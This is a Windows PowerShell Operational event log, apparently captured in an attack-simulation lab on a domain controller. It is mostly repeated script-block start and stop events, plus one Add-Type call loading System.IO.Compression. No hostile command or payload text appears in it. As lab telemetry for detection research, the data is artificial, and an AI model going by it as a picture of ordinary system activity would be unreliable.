Command Name = Add-Type
Command Type = Cmdlet
Script Name = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Archive\Microsoft.PowerShell.Archive.psm1
Command Path =
Sequence Number = 60
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=1467237
Keywords=None
Message=CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression"
Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = b0030b64-c114-4765-a95a-dacf53f2747d
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Engine Version = 5.1.14393.4402
Runspace ID = c5f1100c-56fc-4347-871f-80d397213539
Pipeline ID = 6
Command Name = Add-Type
Command Type = Cmdlet
Script Name = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Archive\Microsoft.PowerShell.Archive.psm1
Command Path =
Sequence Number = 58
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467236
Keywords=None
Message=Started invocation of ScriptBlock ID: a29f05d0-a5c2-4f6a-9a5c-bc019b59fb08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467235
Keywords=None
Message=Started invocation of ScriptBlock ID: 64663673-3388-407d-9a69-709aa0010c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467234
Keywords=None
Message=Completed invocation of ScriptBlock ID: e777e58d-4feb-4ac0-b78e-6bff84134961
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467233
Keywords=None
Message=Started invocation of ScriptBlock ID: e777e58d-4feb-4ac0-b78e-6bff84134961
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467231
Keywords=None
Message=Started invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467230
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467229
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467227
Keywords=None
Message=Started invocation of ScriptBlock ID: 8321bdf9-4122-44bb-ad97-482e8549521d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467440
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467439
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467438
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467437
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467436
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467435
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467434
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467433
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467432
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467431
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467430
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467429
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467428
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467427
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467426
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467425
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467424
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467423
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467422
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467421
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467420
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467419
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467418
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467417
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467416
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467415
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467414
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467413
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467412
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467411
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467410
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467409
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467408
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467407
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467406
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467405
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467404
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467403
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467402
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467401
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467400
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467399
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467398
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
